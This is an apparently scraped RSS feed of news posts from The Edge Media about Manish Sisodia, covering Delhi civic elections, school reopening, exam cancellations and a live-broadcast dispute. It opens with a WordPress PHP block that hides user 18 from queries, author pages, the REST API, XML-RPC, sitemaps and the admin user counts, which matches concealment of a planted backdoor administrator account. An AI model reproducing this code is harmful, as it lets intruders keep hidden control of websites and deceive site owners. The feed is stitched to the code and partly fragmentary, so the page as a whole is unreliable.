add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post AAP Party Leader Slams BJP For Delaying Civic Body Elections appeared first on The Edge Media.
]]>Sisodia also chastised the BJP for ‘misusing’ government agencies, saying that the party had utilized the Enforcement Directorate and the Central Bureau of Investigation to ‘intimidate MCD (Municipal Corporation of Delhi) personnel so that the civic polls may be postponed.’
The BJP criticized Arvind Kejriwal for ‘starving local bodies’ of finances on Friday. Aadesh Gupta, the Delhi unit chairman, and Smriti Irani, a federal minister, alleged the Kejriwal government owed civic entities in the centre of the country $13,000 crore. “Kejriwal is depriving local bodies of finances, which is undermining democracy at the roots,” Smriti Irani remarked.
The post AAP Party Leader Slams BJP For Delaying Civic Body Elections appeared first on The Edge Media.
]]>The post Covid-19: Sisodia has said that all Delhi schools will resume on Monday appeared first on The Edge Media.
]]>
In-person classes are currently only allowed in New Delhi schools for students in Class 9 and higher.
After attending Wednesday’s meeting of the DDMA, Manish Sisodia said: “The government, the officials in the Delhi Disaster Management Authority (DDMA), and experts are of the opinion that suspension of in-person classes in schools is tremendously affecting overall growth in children. The authority feels it is now safe to restart schools fully. From November 1, all public and private schools will be allowed to open all classes for in-person attendance.”
The post Covid-19: Sisodia has said that all Delhi schools will resume on Monday appeared first on The Edge Media.
]]>The post Exams for classes 9 and 11 are now cancelled, says Manish Sisodiya appeared first on The Edge Media.
]]>“The class 9 and 11 exams, which had been postponed on April 11, have now been cancelled. Private schools which have completed their mid-term and annual exams can declare their exam results and promote students based on that. In schools, where only the mid-term exams have been conducted, schools may use the mid-term exam marks to declare class 9 and 11 results. Where some mid-term papers were conducted but not others, students’ results will be declared on the basis of the two subjects in which they performed the best,” he said. Using the alternate means, government schools have been asked to declare their results on June 22.
He further added, “There are some students who may have written only one paper or no mid-term exams, and some who didn’t pass the mid-term exams. All these children will be given the chance to write exams but not physically. This will be through re-assessment project and assignment for which detailed guidelines will be issued.”
Sisodia also announced that the online registration for admission to Delhi government schools for classes 6 to 9 will begin tomorrow. The registration process will continue till June 30 and the admission lists will be prepared by July 14. For those left behind in this round, another round of registrations will begin on July 23.
The post Exams for classes 9 and 11 are now cancelled, says Manish Sisodiya appeared first on The Edge Media.
]]>The post “How to know which meeting can be broadcasted live, which one cannot?”, Manish Sisodia appeared first on The Edge Media.
]]>This was a remark in context to Prime Minister Narendra Modi’s protocol statement on April 23 when Delhi Chief Minister Arvind Kejriwal aired few of his comments live on Social media while on a meeting with the Prime Minister. “This is a violation of the protocol. Such official meetings cannot be broadcast,” PM had then said. Later, Kejriwal had also apologized for the same.
The tweet came in shortly after the Prime Minister’s meeting with the District Magistrates and Chief Ministers of the worst hit districts aired live on TV. Sisodia tweeted asking,” How to know which meeting can be broadcasted live, which one cannot?”
आज की मीटिंग में प्रधानमंत्री जी का वक्तव्य TV पर live प्रसारित हुआ. पिछली बैठक में CM @ArvindKejriwal के live प्रसारण पर आपत्ति थी कि protocol तोड़ा गया
आज के प्रोटकॉल में live broadcast की इजाज़त थी?
कैसे पता चले कि कौन सी बैठक से live प्रसारण हो सकता है, कौन सी में नहीं? https://t.co/luHHBnRrZE
— Manish Sisodia (@msisodia) May 18, 2021
The post “How to know which meeting can be broadcasted live, which one cannot?”, Manish Sisodia appeared first on The Edge Media.
]]>